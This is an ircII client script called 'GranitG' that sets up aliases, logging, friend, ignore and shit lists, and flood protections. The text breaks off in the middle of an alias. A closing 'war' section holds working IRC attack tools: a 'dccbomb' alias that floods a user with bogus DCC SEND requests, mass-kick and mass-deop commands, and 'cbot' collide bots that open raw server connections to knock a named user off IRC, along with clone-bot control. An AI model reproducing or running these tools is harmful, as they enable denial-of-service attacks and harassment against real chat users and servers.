###main
## White Beep Inverse zmodem crtl+aprivmsg
## costumize
nick CalicApA
eval assign granitgdir $HOME/.underg
eval assign msg_log $granitgdir/mlog
eval assign away_log $granitgdir/alog
eval assign other_log $granitgdir/olog
assign link_looker -o ll chrm_
irc.epix.net 6665
assign mb [GG]
assign script_version GranitG v1.1 by ChromE
assign script_msg [GranitG]
assign ping_msg ping, ping, ping...
assign -finger_msg
assign userinfo no way man..
^assign op_list *!*chrome@*.
winteret.com
^assign invite_list *!*chrome@*.
winternet.com
^assign -shit_list
^assign -ig_list
# protection
^assign flood_prot on
^assign ctcp_max 4
^assign msg_max 4
^assign notice_prot on
^assign notice_max 7
^assign public_prot on
^assign pub_max 6
^assign mode_max 3
^assign nick_max 4
^assign trippleprot on
^assign hackprot on
## Toggles
^assign auto_connect OFF
^assign kick_rejoin ON
^assign dcc_autoget OFF
^assign auto_op ON
^assign beep_msg OFF
^assign log OFF
assign tiny_tsu ^ ^ ^
assign false_chars * * * * * * ** ** *;* * * * * *$$* * * * *
assign bogus_patterns *fuck* *shit* *suck* *dick* *penis* *cunt* *haha*
*fake* *split* *ass* *hehe* *bogus* *yawn* *leet*
set AUTO_UNMARK_AWAY OFF
set AUTO_WHOWAS OFF
set BEEP ON
set BEEP_MAX 4
set BEEP_ON_MSG NONE
set BEEP_WHEN_AWAY OFF
set BOLD_VIDEO ON
set CHANNEL_NAME_WIDTH 20
set CLOCK ON
set CLOCK_24HOUR OFF
set COMMAND_MODE OFF
set CONTINUED_LINE
set DCC_BLOCK_SIZE 3072
set DISPLAY ON
set FLOOD_WARNING OFF
set FULL_STATUS_LINE ON
set HELP_WINDOW OFF
set HIDE_PRIVATE_CHANNELS OFF
set HIGHLIGHT_CHAR BOLD
set HISTORY 30
set HOLD_MODE OFF
set INDENT ON
set INPUT_PROMPT <$N>
set INPUT_PROTECTION ON
set INSERT_MODE ON
set INVERSE_VIDEO ON
set LASTLOG 100
set LASTLOG_LEVEL ALL DCC
set LOG OFF
EVAL ^if ([$MAIL]==[0]) {^set mail 1}
set MAX_RECURSIONS 200
set NO_CTCP_FLOOD ON
set NOTIFY_ON_TERMINATION OFF
set SCROLL ON
set SEND_IGN -GranitG-
set STATUS_WINDOW ^
set SUPPRESS_SERVER_MOTD ON
set TAB ON
set TAB_MAX 2
set UNDERLINE_VIDEO ON
set USER_WALLOPS OFF
set VERBOSE_CTCP OFF
set WARN_OF_IGNORES ON
set NOVICE OFF
alias aecho {^xecho -level crap $mb $*}
EVAL ^cd $granitgdir
wait
if ([$W]!=[$granitgdir]) {
aecho Directory not found! creating it at, $granitgdir
EVAL ^exec mkdir $granitgdir
}{eval ^cd ..
aecho Directoy was found.}
## Misc aliases
alias mlog {eval ^exec echo "Msg: [$0] - $Z - $1-" >> $msg_log}
alias alog {eval ^exec echo "Msg: [$0] - $Z - $1-" >> $away_log}
alias olog {eval ^exec echo "$0-" >> $other_log}
alias msgmask {^assign function_return [$strip(;#~ $0:$mid(${index(. $1)+1}
100 $1))]}
alias fixmask {^assign function_return *!*$strip(;#~ $0@*)$mid($index(. $1)
100 $1)}
alias nickonly {^assign function_return $left($index(! $0) $0)}
alias empty {
@ FUNCTION_RETURN = [TRUE]
if ([$0]) {@ FUNCTION_RETURN = [FALSE}
}
alias isonlist {
@ function_return = [FALSE]
if ([$0]==[$1]) {@ function_return = [TRUE]}{
if ([$2]) {@ function_return = isonlist($0 $2-)}}
}
alias delete {
^assign -tmp_list
if ([$0]==[OP]) {
_delete2 $1 $op_list
^assign -op_list
^assign op_list $tmp_list}
if (([$0]==[INV])||([$0]==[INVITE])) {
_delete2 $1 $invite_list
^assign -invite_list
^assign invite_list $tmp_list}
if ([$0]==[SHIT]) {
_delete2 $1 $shit_list
^assign -ig_list
^assign shit_list $tmp_list}
if (([$0]==[IG])||([$0]==[IGNORE])) {
_delete2 $1 $ig_list
^assign -ig_list
^assign ig_list $tmp_list}
}
alias _delete2 {
if ([$0]!=[$1]) {
if ([$tmp_list]==[]) {
^assign tmp_list $1}{
^assign tmp_list $tmp_list $1}}
if ([$2]) {_delete2 $0 $2-}
}
alias safe {^assign FUNCTION_RETURN $strip(\;\(\)*/\\\{\}$$~`|'\"
$*)}
# unix commands
alias ls //exec ls
alias rm //exec rm
alias cat //exec cat $*
alias pubcat //redirect $C //exec cat $*
alias j if
((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[0])||([-]==[$[1]0]))
{//join $*} {//join #$*}
alias l if (![$0]) {//leave $C}{/if
(([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) {//leave $0} {//leave #$0}}
alias me //^ctcp $C action $1-
alias wi whois
alias ww whowas
alias w who
alias s server
alias m msg
alias n notice
alias p ping
alias ver //ctcp $0 version
alias finger //ctcp $0 finger
alias dg //dcc get
alias ds //dcc send
alias dc //dcc chat
alias mc m =$*
alias re redirect
alias display {
if (match($0 MSG AWAY OTHER)) {
if ([$0]==[MSG]) {cat $msg_log}
if ([$0]==[AWAY]) {cat $away_log}
if ([$0]==[OTHER]) {cat $other_log}
}{aecho Usage: /DISPLY <msg/away/other>}
}
alias addf {
if ([$1]) {
^assign addf_type $1
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
if ([$addf_type]==[NONE]) {
delete op $fixmask($3 $4)
delete inv $fixmask($3 $4)
aecho I have deleted $0\ from all lists.}
if (([$addf_type]==[OP])||([$addf_type]==[ALL])) {
if ([$empty($op_list)]==[TRUE]) {
^assign op_list $fixmask($3 $4)}{
^assign op_list $op_list $fixmask($3 $4)}}
if (([$addf_type]==[INVITE])||([$addf_type]==[ALL])) {
if ([$empty($invite_list)]==[TRUE]) {
^assign invite_list $fixmask($3 $4)}{
^assign invite_list $invite_list $fixmask($3 $4)}}
if ([$addf_type]!=[NONE]) {aecho I have added $0\ as friend with access
$addf_type\
^notice $0 $mb You have been added to my lists with access $addf_type\}
}{aecho I can't find $0\ on the irc to add.}
}{aecho Usage: /addf <nick> <OP/INVITE/ALL>}
}
alias noig {
if ([$0]) {
if ([$isonlist($0 $ig_list)]) {
delete ig $0
aecho I have taken $0\ off the ignore list.
}{aecho There is no ignore on $0\}
}{aecho I need a nick to unignore. /noig <nick>}
}
alias ignore {
if ([$0]) {
if ([$1])
{^assign stufftosay $1-}
{^assign stufftosay $script_msg}
if ([$empty($ig_list)]==[TRUE]) {
^assign ig_list $0}{
^assign ig_list $ig_list $0}
aecho Now ignoring all types of contact from $0\ reason $stufftosay\
^notice $0 $mb You are being ignored.. \($stufftosay\\)
^assign -stufftosay
}{aecho I need a nick to ignore. /ignore <nick> [reason]}
}
alias ig ignore $*
alias away {
if ([$0]) {
setaway $*}{
setback}
}
alias setaway {
@ away = [TRUE]
me $mb $N is setting away at $Z, \($*\\)
if ([$log]==[ON]) {
^away Set away at $Z - $*\ - msges will be saved. $mb}{
^away Set away at $Z - $*\ - $mb}
aecho Set away at $Z... $*\
}
alias setback {
@ away = [FALSE]
me has returned...
^away
aecho Setback at $Z...}
alias unshit {
if ([$0]) {
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
if ([$isonlist($fixmask($3 $4) $shit_list)]) {
delete shit $fixmask($3 $4)
aecho I have taken $0\ off your shit list.
}{aecho $0\ is not on your shitlist.}
}{aecho I can't find $0\ on the irc..}
}{aecho I need a nick to unshit. /unshit <nick>}
}
alias shit {
if ([$0]) {
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
if ([$isonlist($fixmask($3 $4) $shit_list)]==[FALSE]) {
if ([$empty($shit_list)]==[TRUE]) {
^assign shit_list $fixmask($3 $4)}{
^assign shit_list $shit_list $fixmask($3 $4)}
bk $0
aecho I have added $0\ to your shitlist.}
{aecho $0 is already shit listed..}
}{aecho I can't find $0\ on the ircII to shitlist.}
}{aecho I need a nick to shitlist. /shit <nick>}
}
## on events
on ^401 * {aecho Umm, call me stupid but I can't find $1 anywere. \($2-\)}
on ^332 * {aecho Topic on $1: $2-}
on ^333 * {aecho Topic set $1 by $2 at $stime($3)}
on ^311 * {echo *** $1!$strip(;#~ $2@$3) $4 \($5-\)}
on ^312 * {echo *** On Server $1 \($2-\)}
on ^313 * {echo *** $1 has irc Operator status}
on ^317 * {
if (index(012345679 $3) != -1) {
^assign -sectime
^assign -mintime
^assign sectime $2
@ mintime = sectime / 60
echo *** Idle time $mintime minute\(s\) \($2 seconds\)
echo *** Signed on $stime($3)
}{
^assign -sectime
^assign -mintime
^assign sectime $2
@ mintime = sectime / 60
echo *** Idle time $mintime minute\(s\) \($2 seconds\)}
}
on ^319 * {echo *** On channels $1-}
on ^301 * {echo *** $0 is away, $1-}
on ^who * {echo *** $2 $1!$strip(;#~ $3@$4) \($5-\) on $0}
on ^send_public * {echo <$N\> $1-}
^assign -alastpub
@ pub_count = 0
alias publiccount {
if ([$alastpub]==[$1]) {
@ pub_count = pub_count + 1
if (([$pub_count]==[$pub_max])&&([$public_prot]==[ON])) {
clear_pub
kkick $0 $1 $2-}
}{
^assign alastpub $1
@ pub_count = 0
eval ^timer ${pub_max+3} clear_pub}
}
alias clear_pub {
^assign -alastpub
@ pub_count = 0
}
@ mode_count =0
^assign -alastmode
on -raw_irc "% MODE *" {
^assign mnick $nickonly($0)
if ([$public_prot]==[ON]) {
if ([$alastmode]==[$mnick]) {
@ mode_count = mode_count + 1
if ([$mode_count]==[$mode_max]) {
clear_mode
kkick $2 $mnick MassMode.}
}{
^assign alastmode $mnick
@ mode_count = 0
eval ^timer ${mode_max+3} clear_mode}}
if (([$tripple_prot]==[ON])&&(rmatch($3 -ooo* *-ooo* *+bbb* +bbb*))) {
kkick $2 $mnick Tripple mode.}
if ([$log]==[ON]) {olog *** $*}
}
alias clear_mode {
@ mode_count = 0
^assign -alastmode }
on ^mode "*.* * *+%o* *" {
if ((ischanop($N $1))&&([$hack_prot]==[ON])) {
/dop $1 $5 $6 $7 $3 $4
if ([$log]==[ON]) {olog *** $*}}
becho SERVER OPS DETECTED By $3- on channel: $1 \($2-\)
}
alias dop {
/mode $0 -oo $1 $2
if ([$2]) {
/dop $0 $3-}
}
on ^mode "*.* * *+%b* *" {
if ((ischanop($N $1))&&([$hack_prot]==[ON])) {
/nunbanlop $3-
if ([$log]==[ON]) {olog *** $*}}
becho SERVER BANS DETECTED On channel: $1 By: $0 \($2-\)
}
alias nunbanlop {
if ([$4]) {
/mode $0 -bbb $1 $2 $3
/nunbanlop $0 $4-}
{
if ([$3]) {
/mode $0 -bbb $1 $2 $3}
{
if ([$2]) {
/mode $0 -bb $1 $2}
{
if ([$1]) {
/mode $0 -b $1}
}
}
}
}
on -raw_irc "% KICK *" {
if ([$log]==[ON]) {olog *** $*}
^assign kickchan $strip(: $2)
^assign kickperson $encode($left($index(! $0) $0))
if ([$public_prot]==[ON]) {/publiccount $kickchan $kickperson Mass kick}
if (([$3]==[$N])&&([$rejoin]==[ON])) {
^timer 2 //join $kickchan
}}
on ^public * {
if ([$public_prot]==[ON]) {publiccount $1 $0 Public flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$1]==[$C]) {
echo <$0> $2-}{
echo <$0\/$1\> $2-}
}
}
on ^public_other * {
if ([$public_prot]==[ON]) {publiccount $1 $0 Public flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
echo \($0\/$1\) $2-
}
}
on ^public_msg * {
if ([$public_prot]==[ON]) {publiccount $1 $0 Public flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
echo \($0\/$1\) $2-
}
}
on ^action * {
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$[1]1]!=[#]) {
echo * $0 $2-}{
if ([$C]!=[$1]) {
if ([$public_prot]==[ON]) {publiccount $1 $0 Action Flood}
echo * $1 >> $0 $2-}{
if ([$public_prot]==[ON]) {publiccount $1 $0 Action Flood}
echo * $0 $2-
}
}
}}
on -connect * {
aecho Now connected to $0 $1\.
if ([$log]==[ON]) {olog *** $*}
}
on -disconnect * {
if ([$auto_connect]==[ON]) {
aecho Attempting to reconnect to $*
//server $*
if ([$log]==[ON]) {olog *** $*}
}{aecho You have been disconnected from $*}
}
on ^join * {
if ([$public_prot]==[ON]) {publiccount $1 $0 Join flood}
if ([$1]==[$C]) {
echo *** $0\($strip(;#~ $userhost())\) has joined channel $1}{
echo *** $0\($strip(;#~ $userhost())\) has joined channel $1}
^assign joinchan $1
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
if ([$isonlist($fixmask($3 $4) $shit_list)]==[TRUE]) {
eval mmode $joinchan +b *!*$strip(;#~ $3@*)$mid($index(. $4) 100 $4)
kkick $joinchan $0 Shit listed}
if (([$isonlist($fixmask($3 $4) $op_list)]==[TRUE])&&([$auto_op]==[ON])) {
mmode $joinchan +o $0}
}
^assign joinchan
}
on ^leave * {
if ([$1]==[$C]) {
echo *** $0 has left channel $1 at $Z}{
echo *** $0 has left channel $1 as $Z}
}
@ nick_count = 0
^assign alastnick
on -channel_nick * {
if ([$public_prot]==[ON]) {
if ([$alastnick]==[$1]) {
^assign alastnick $2
@ nick_count = nick_count + 1
if ([$nick_count]==[$nick_max]) {
clear_nick
kkick $0 $2 Nick flood}
}{
^assign alastnick $2
@ nick_count = 0
eval ^timer ${nick_max+3} clear_nick}}
}
alias clear_nick {
@ nick_count = 0
^assing -alastnick}
@ msg_count = 0
eval ^assign alastmsg $N
on ^msg * {
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
^assign msgtosay $1-
if ([$flood_prot]==[ON]) {
if ([$alastmsg]==[$0]) {
@ msg_count = msg_count + 1
if ([$msg_count]==[$msg_max]) {
clear_msg
ignore $0 Msg flood.}
}{
^assign alastmsg $0
@ msg_count = 0
eval ^timer ${msg_max+3} clear_msg}}
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
^assign alastmsg $0
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$beep_msg]==[ON]) {
if ([$log]==[ON]) {if ([$away]==[TRUE]) {alog $0 $msgtosay}{mlog $0
$msgtosay}}
echo $msgmask($0 $4) $msgtosay}{
echo $msgmask($0 $4) $msgtosay}
}
}
}
}
alias clear_msg {
@ msg_count = 0
^assing -alastmsg}
on ^send_msg * {
echo <-[$0]-> $1-}
@ notice_count = 0
eval ^assign alastnotice $N
on ^notice * {
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
^assign noticetosay $1-
if ([$notice_prot]==[ON]) {
if ([$alastnotice]==[$0]) {
@ notice_count = notice_count + 1
if ([$notice_count]==[$notice_max]) {
clear_notice
ignore $0 Notice flood.}
}{
^assign alastnotice $0
@ notice_count = 0
eval ^timer ${notice_max+3} clear_notice}}
^assign alastnotice $0
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
echo -$0\- $noticetosay}
}
}
alias clear_notice {
@ notice_count = 0
^assign -alastnotice}
on ^exec "from *" aecho Mail: From $safe($1-)
on ^exec_error "from *" #
on ^mail * {
^exec -name from frm | tail -$0
aecho You have new email! \(Mail Waiting: $1\)
}
## operator commands
alias kkick if ([$ischanop($N $0)]) {quote KICK $0 $1 :$2-}
alias k {
if ([$ischanop($N $C)]) {
if ([$0]) {
if ([$1]) {
kkick $C $0 $1-}{
kkick $C $0 $script_msg}
}{aecho I need a nick to kick. /k <nick> [reason]}
}{aecho You are not an operator on $C\}
}
alias mmode if ([$ischanop($N $0)]) {quote MODE $0 $1 $2-}
alias ban {
if ([$0]) {
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
eval mmode $C -o+b $0 *!*$strip(;#~ $3@*)$mid($index(. $4) 100 $4)
}{aecho I can't find $0 on the irc to ban.}
}{aecho I need a nick to ban. /ban <nick> [#channel]}
}
alias bk {
if ([$1]) {^assign stufftosay $1-} {^assign stufftosay $script_msg}
if ([$0]) {
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
eval mmode $C -o+b $0 *!*$strip(;#~ $3@*)$mid($index(. $4) 100 $4)
k $0 $stufftosay
^assign -stufftosay
}{aecho I can't find $0 on the irc to ban and kick.}
}{aecho I need a nick to ban and kick. /bk <nick> [reason]}
}
alias sop {
if ([$0]) {
if ([$isonlist($0 $op_list)]==[TRUE]) {
if ([$[1]1]==[#]) {
mmode $1 +o $0}{
mmode $C +o $0}
}{
if ([$[1]1]==[#]) {
kkick $1 $0 your not a friend}{
kkick $C $0 your not a friend}}
}{aecho I need a nick to op. /sop <op friend> [#channel]}
}
alias op {
if ([$0]) {
if ([$[1]1]==[#]) {
mmode $1 +o $0}{
mmode $C +o $0}
}{aecho I need a nick to op. /op <nick> [#channel]}
}
alias deop {
if ([$0]) {
if ([$[1]1]==[#]) {
mmode $1 -o $0}{
mmode $C -o $0}
}{aecho I need a nick to deop. /deop <nick> [#channel]}
}
alias mk {
aecho I am mass kicking everyone in $C
mk_2 $chanusers($C)
}
alias mk_2 {
if ([$0]!=[$N]) {/k $0 Mass Kick}
if ([$1]) {/mk_2 $1-}
}
alias md {
aecho I am mass Deoping everyone in $C
md_2 $chanusers($C)
}
alias md_2 {
if ([$0]!=[$N]) {deop $0}
if ([$1]) {/md_2 $1-}
}
## Toggles
alias logs {
if (match($0 ON OFF)) {
^assign log $0
aecho Logging is: $toupper($0)\
}{aecho Logging is: $toupper($log)\}
}
alias msgsbeep {
if (match($0 ON OFF)) {
^assign beep_msg $0
aecho Beeping msgs is: $toupper($0)\
}{aecho Beeping msgs is: $toupper($beep_msg)\}
}
alias autoconnect {
if (match($0 ON OFF)) {
^assign auto_connect $0
aecho Auto connect on disconnect is: $toupper($0)\
}{aecho Auto connect on disconnect is: $toupper($auto_connect)\}
}
alias autoop {
if (match($0 ON OFF)) {
^assign auto_op $0
aecho Auto op friends with OP is: $toupper($0)\
}{aecho Auto op friends with OP is: $toupper($auto_op)\}
}
alias autoget {
if (match($0 ON OFF)) {
^assign dcc_autoget $0
aecho DCC Auto get is: $toupper($0)\
}{aecho DCC Auto get is: $toupper($dcc_autoget)\}
}
alias rejoin {
if (match($0 ON OFF)) {
^assign kick_rejoin $0
aecho Auto rejoin on kick is: $toupper($0)\
}{aecho Auto rejoin on kick is: $toupper($kick_rejoin)\}
}
alias hackprot {
if (match($0 ON OFF)) {
^assign hack_prot $0
aecho Server hack protection is: $toupper($0)\
}{aecho Server hack protection is: $toupper($hack_prot)\}
}
alias nhp hackprot $*
alias tripple {
if (match($0 ON OFF)) {
^assign tripple_prot $0
aecho Tripple mode protection is: $toupper($0)\
}{aecho Tripple mode protection is: $toupper($tripple_prot)\}
}
alias floodprot {
if (match($0 ON OFF)) {
^assign flood_prot $0
aecho Personal flood protection is: $toupper($0)\
}{aecho Personal flood protection is: $toupper($flood_prot)\}
}
alias publicprot {
if (match($0 ON OFF)) {
^assign public_prot $0
aecho Public flood protection is: $toupper($0)\
}{aecho Public flood protection is: $toupper($public_prot)\}
}
alias noticeprot {
if (match($0 ON OFF)) {
^assign notice_prot $0
aecho Notice flood protection is: $toupper($0)\
}{aecho Notice flood protection is: $toupper($notice_prot)\}
}
alias killprot {
if (match($0 ON OFF)) {
^assign kill_prot $0
aecho Kill flood protection is: $toupper($0)\
}{aecho Kill flood protection is: $toupper($kill_prot)\}
}
## some protection
on ^public "* * * * * * * * * *" {
if ([$public_prot]==[ON]) {
kkick $1 $0 Tsunami detected}{
aecho Detected a public TSUNAMI from $0\ on $1\.}
}
on ^public "* * * * * * * * * *" {
if ([$public_prot]==[ON]) {
kkick $1 $0 don't beep so much}
}
on ^public "* * * * * * * * * *" {
if ([$public_prot]==[ON]) {
kkick $1 $0 Tsunami detected}{
aecho Detected a public TSUNAMI from $0\ on $1\.}
}
## ctcp
@ ctcp_count = 0
^assign alastctcp
alias ctcpcount {
if ([$alastctcp]==[$0]) {
@ ctcp_count = ctcp_count + 1
if ([$ctcp_count]==[$ctcp_max]) {
clear_ctcp
ignore $*}
}{
^assign alastctcp $0
@ ctcp_count = 0
eval ^timer ${ctcp_max+3} clear_ctcp}
}
alias clear_ctcp {
@ ctcp_count = 0
^assing -alastctcp}
on -ctcp "% % PING *" {
if ([$flood_prot]==[ON]) {ctcpcount $0 Ping flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$[1]1]==[$]) {aecho Server wide ping from $0\}{
if ([$[1]1]==[#]) {aecho $0\ has pinged everyone on $1\}{
if ([$1]==[$N]) {aecho $0\ has pinged you.}
}
}
if ([$ping_msg]) {^notice $0 $ping_msg}
}
}
on ^ctcp "% % FINGER *" {
if ([$flood_prot]==[ON]) {ctcpcount $0 Finger flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$[1]1]==[#]) {aecho $0\ has fingered everyone on $1\}
if ([$1]==[$N]) {aecho $0\ has fingered you.}
if ([$finger_msg]) {^ctcp $0 FINGER $finger_msg}{^ctcp $0 FINGER $mb Sorry
no finger here.}
}
}
on ^raw_irc "*!*@* % % :* %INFO *" #
on ^raw_irc "*!*@* % % :* *" #
on ^raw_irc "*!*@* % % :* * * *" #
on ^raw_irc "*!*@* % % : ERRMSG* " #
on ^raw_irc "*!*@* % % : ECHO* " #
on ^raw_irc "*!*@* % % :* [ *" #
on ^raw_irc "*!*@* % % :*ERRMSG *" #
on ^raw_irc "*!*@* % % : UTC* " #
on ^raw_irc "*!*@* % % : *DCC CHAT* * *DCC CHAT* *" #
assign -alastver
on ^raw_irc "% PRIVMSG % : VERSION " {
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if (([$alastver]==[$nickonly($0)])&&([$flood_prot]==[ON])) {ig $0 Versions}{
^assign alastver $nickonly($0)
^timer 4 ^assign -alastver
if ([$[1]2]==[#]) {aecho $nickonly($0)\ request version information from
everyone on $2\}{
if ([$[1]2]==[$]) {aecho Server request version information.}{
aecho $nickonly($0)\ request version information from you.
}
}
^notice $nickonly($0) $mb $script_version
}
}
}
on ^ctcp * {
if ([$flood_prot]==[ON]) {ctcpcount $0 CTCP flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$2]==[CLIENTINFO]) {^ctcp $0 CLIENTINFO $mb $script_version
if ([$[1]1]==[#]) {
aecho $0 request clientinfo from everyone on $1}{
aecho $0 request clientinfo from you.}
}
if ([$2]==[USERINFO]) {^ctcp $0 USERINFO $mb $userinfo
if ([$[1]1]==[#]) {
aecho request userinfo from everyone on $1}{
aecho $0 request userinfo from you.}
}
if ([$2]==[TIME]) {^ctcp $0 TIME $mb The timer here is $Z\
aecho $0 needs the time...
}
if ([$2]==[UTC]) {^ctcp $0 UTC $mb what..?
aecho $0 used utc...
}
if ([$2]==[HELP]) {^ctcp $0 HELP $mb figure it out.
aecho $0 need ctcp help..
}
if ([$2]==[OP]) {
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
if ([$isonlist($fixmask($3 $4) $op_list)]==[TRUE]) {
mmode $C +o $0
^notice $0 $mb You have been oped on $channel_op via $script_msg
}{^notice $0 $mb Sorry your not on my op list.}}
}
if ([$2]==[INVITE]) {
^assign channel_invite $3
userhost $0 -CMD if ([$3]!=[<UNKNOWN>]) {
if ([$isonlist($fixmask($3 $4) $invite_list)]==[TRUE]) {
^invite $0 $C
^notice $0 $mb You have been invite to $channel_invite via $script_msg
}{^notice $0 $mb Sorry your not on my invite list.}
}}
}
}
## dcc prot&stuff
on ^ctcp "% % DCC SEND* * *" {
if ([$flood_prot]==[ON]) {ctcpcount $0 DCC flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
if ([$dcc_autoget]==[ON]) {
aecho I am autogetting File: $safe($4)\ Size: $strip( $7) from $0\
//^dcc get $0 $4}{
aecho DCC SEND File: $safe($4) Size: $strip( $7) From: $0 type /dg $0 $4 to
recieve.}
}{aecho Ignoring and closing DCC SEND from $0
//^dcc close get $0}
}
on ^ctcp "% % DCC CHAT* * *" {
if ([$flood_prot]==[ON]) {ctcpcount $0 DCC flood}
if ([$isonlist($0 $ig_list)]!=[TRUE]) {
aecho $0 Requests a DCC CHAT. Type /dc $0 to accept.}
{aecho Ignoring DCC CHAT from $0
//^dcc close chat $0}
}
bind meta1-[ meta2
bind meta1-O meta2
bind meta2-A backward_history
bind meta2-B forward_history
bind meta2-C forward_character
bind meta2-D backward_character
bind ^B self_insert
bind ^_ self_insert
bind ^V self_insert
bind ^Z stop_irc
bind ^X switch_channels
bind ^L repaint_screen
bind ^C clear_screen
bind ^F parse_command //flush
bind ^Y parse_command /holdset
###war
alias repeatcmd {
@ RCOUNT = 0
while (RCOUNT < [$0]) {
@ RCOUNT = RCOUNT + 1
/$1-
}
^assign -RCOUNT
}
assign RCRAPCRAP
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a
alias randcrap {
@ RCOUNTER = 1
while (RCOUNTER < [$0]) {
@ RCOUNTER = RCOUNTER + 1
EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
}
EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
^assign FUNCTION_RETURN $RCRAP
^assign -RCRAP
}
alias dccbomb {
if ([$0]) {
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
quote PRIVMSG $0 : DCC SEND wkpoikre.zip $rand(99999999) 19 6667
}{aecho I need a nick to dccbomb. /DCCBOMB <nick>}
}
@ ccount = 0
alias _killbot {
if ([$0]) {
if ([$0]==[ALL]) {
foreach csocket ii {
if ([$csocket[$ccount]]!=[0]) {
eval //^dcc close raw $csocket[$ii]
aecho Bot number $ii\ \($cnick[$ii]\\) has been killed.
@ ccount = 0
eval @ csocket[$ii] = 0
eval ^assign -cserver[$ii]
eval ^assign -cport[$ii]
eval ^assign -cnick[$ii]
eval ^assign -ctype[$ii]}
}
}{
if ([$csocket[$ccount]]!=[0]) {
//^dcc close raw $csocket[$0]
aecho Bot number $0\ \($cnick[$0]\\) has been killed.
eval @ csocket[$0] = 0
eval ^assign -cserver[$0]
eval ^assign -cport[$0]
eval ^assign -cnick[$0]
eval ^assign -ctype[$ii]
}{aecho There is no bot number $0\ thats connected.}
}
}{aecho I need a number to kill. /CBOT KILL <num/ALL>}
}
alias _statbot {
foreach csocket ii {
if ([$csocket[$ii]]!=[0]) {
aecho Bot number $ii\ Nick: $cnick[$ii]\ Server: $cserver[$ii] $cport[$ii]\
Socket: $csocket[$ii]\}
}
}
on ^dcc_raw * {
if ([$2]==[E]) {aecho Bot successfully connected to $1\ socket $0\.}
if ([$2]==[C]) {foreach csocket ii {
if ([$0]==[$csocket[$ii]]) {aecho Bot $cnick[$ii]\ has been disconnected
from $1\.
eval @ csocket[$ii] = 0
eval ^assign -cserver[$ii]
eval ^assign -cport[$ii]
eval ^assign -cnick[$ii]
eval ^assign -ctype[$ii]
}}}
}
alias _makebot {
if ([$1]) {
@ ccount = ccount + 1
eval ^assign cnick[$ccount] $0
eval ^assign cserver[$ccount] $1
eval ^assign cport[$ccount] 6667
eval ^assign ctype[$ccount] COLLIDE
if ([$2]) {^assign $cport[$ccount] $2}
eval ^assign csocket[$ccount] $connect($cserver[$ccount] $cport[$ccount])
^on ^dcc_raw "% % D % 433 % % :*" {
^assign cnick[$ccount] $"[MB] Bots nickname in use, enter new one: "
^timer 5 //^dcc raw $csocket[$ccount] $cserver[$ccount] NICK
$cnick[$ccount]}
eval //^dcc raw $csocket[$ccount] $cserver[$ccount] NICK $cnick[$ccount]
eval //^dcc raw $csocket[$ccount] $cserver[$ccount] USER dogg man
$cserver[$ccount] :GranitG
}{aecho Usage: /CBOT MAKE <nick> <server> [port]}
}
alias cbot {
if (match($0 MAKE STATUS KILL)) {
if ([$0]==[MAKE]) {/_makebot $1-}
if ([$0]==[KILL]) {/_killbot $1-}
if ([$0]==[STATUS]) {/_statbot $1-}
}{
echo *** GranitG collide bot help
echo *** /CBOT <MAKE/KILL/STATUS> <prams>
echo *** make <killnick> <server> [port] - Makes a collide bot on <server>
echo *** to kill <killnick> [port].
echo *** kill <bot_number/ALL> - Kills <bot_number> or ALL.
echo *** status - Displays All bots info. \(collide, clone, spy\).
echo *** Type /CLONE For help on controlling all types of bots.
}
}
alias clone {
if ([$1]) {
eval if ([$csocket[$0]]==[0]) {aecho Error: $0\ no such bot number.}{
if ([$1]==[JOIN]) {//^dcc raw $csocket[$0] $cserver[$0] JOIN $2-}
if ([$1]==[LEAVE]) {//^dcc raw $csocket[$0] $cserver[$0] PART $2-}
if ([$1]==[MSG]) {//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 :$3-}
if ([$1]==[NOTICE]) {//^dcc raw $csocket[$0] $cserver[$0] NOTICE $2 :$3-}
if ([$1]==[SAY]) {//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $C :$2-}
if ([$1]==[SEND]) {//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 :$3-}
if ([$1]==[CTCP]) {//^dcc raw $csocket[$0] $cserver[$0] CTCP $2 :$3-}
if ([$1]==[CTCP]) {//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 : $3- }
if ([$1]==[ME]) {//^dcc raw $csocket[$0] $cserver[$0] PRIVMSG $2 : ACTION
$3- }
